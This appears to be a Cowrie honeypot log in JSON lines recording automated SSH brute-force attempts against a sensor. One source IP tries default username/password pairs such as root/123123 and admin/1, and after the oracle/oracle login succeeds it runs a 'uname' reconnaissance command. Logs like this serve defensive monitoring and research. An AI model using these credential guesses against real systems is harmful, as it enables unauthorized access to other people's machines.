{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:44.470959Z","src_ip":"192.109.200.237","session":"1d8387e4195c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:44.716581Z","src_ip":"192.109.200.237","session":"1d8387e4195c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:45.803373Z","src_ip":"192.109.200.237","session":"1d8387e4195c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42606,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3f9958b2dc","protocol":"ssh","message":"New connection: 192.109.200.237:42606 (159.203.135.109:22) [session: cb3f9958b2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:47.692384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:47.701445Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:47.783850Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.030069Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.242217Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.245459Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.330792Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.335648Z","src_ip":"192.109.200.237","session":"cb3f9958b2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.957926750183105,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:48.494558Z","src_ip":"152.42.224.71","session":"a3ea68b8c997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40842,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1d2d2493a3","protocol":"ssh","message":"New connection: 192.109.200.237:40842 (159.203.135.109:22) [session: ca1d2d2493a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:51.059346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:51.064661Z","src_ip":"192.109.200.237","session":"ca1d2d2493a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:51.147427Z","src_ip":"192.109.200.237","session":"ca1d2d2493a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:51.393934Z","src_ip":"192.109.200.237","session":"ca1d2d2493a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.11598014831543,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:51.765409Z","src_ip":"152.42.224.71","session":"fc9d7c216bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:52.479790Z","src_ip":"192.109.200.237","session":"ca1d2d2493a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"113309c1af90","protocol":"telnet","message":"New connection: 152.42.224.71:41838 (10.17.0.5:23) [session: 113309c1af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:52.795251Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40848,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a8766ea144","protocol":"ssh","message":"New connection: 192.109.200.237:40848 (159.203.135.109:22) [session: d4a8766ea144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:54.359430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:54.428665Z","src_ip":"192.109.200.237","session":"d4a8766ea144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:54.574149Z","src_ip":"192.109.200.237","session":"d4a8766ea144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:54.821885Z","src_ip":"192.109.200.237","session":"d4a8766ea144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:55.908964Z","src_ip":"192.109.200.237","session":"d4a8766ea144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40854,"dst_ip":"159.203.135.109","dst_port":22,"session":"52f5de9bf11d","protocol":"ssh","message":"New connection: 192.109.200.237:40854 (159.203.135.109:22) [session: 52f5de9bf11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:57.799566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:57.804817Z","src_ip":"192.109.200.237","session":"52f5de9bf11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:57.887024Z","src_ip":"192.109.200.237","session":"52f5de9bf11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:58.138474Z","src_ip":"192.109.200.237","session":"52f5de9bf11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:59.226851Z","src_ip":"192.109.200.237","session":"52f5de9bf11d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50206,"dst_ip":"159.203.135.109","dst_port":22,"session":"055ec37db6f3","protocol":"ssh","message":"New connection: 192.109.200.237:50206 (159.203.135.109:22) [session: 055ec37db6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:01.161795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:01.167258Z","src_ip":"192.109.200.237","session":"055ec37db6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:01.249913Z","src_ip":"192.109.200.237","session":"055ec37db6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:01.497033Z","src_ip":"192.109.200.237","session":"055ec37db6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:02.583900Z","src_ip":"192.109.200.237","session":"055ec37db6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50232,"dst_ip":"159.203.135.109","dst_port":22,"session":"90cdc2079ea7","protocol":"ssh","message":"New connection: 192.109.200.237:50232 (159.203.135.109:22) [session: 90cdc2079ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:04.553631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:04.558360Z","src_ip":"192.109.200.237","session":"90cdc2079ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:04.651844Z","src_ip":"192.109.200.237","session":"90cdc2079ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:05.069553Z","src_ip":"192.109.200.237","session":"90cdc2079ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:06.155405Z","src_ip":"192.109.200.237","session":"90cdc2079ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50240,"dst_ip":"159.203.135.109","dst_port":22,"session":"443c75808445","protocol":"ssh","message":"New connection: 192.109.200.237:50240 (159.203.135.109:22) [session: 443c75808445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:08.053621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:08.059084Z","src_ip":"192.109.200.237","session":"443c75808445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:08.141674Z","src_ip":"192.109.200.237","session":"443c75808445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:08.387032Z","src_ip":"192.109.200.237","session":"443c75808445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:09.471678Z","src_ip":"192.109.200.237","session":"443c75808445","protocol":"ssh"}
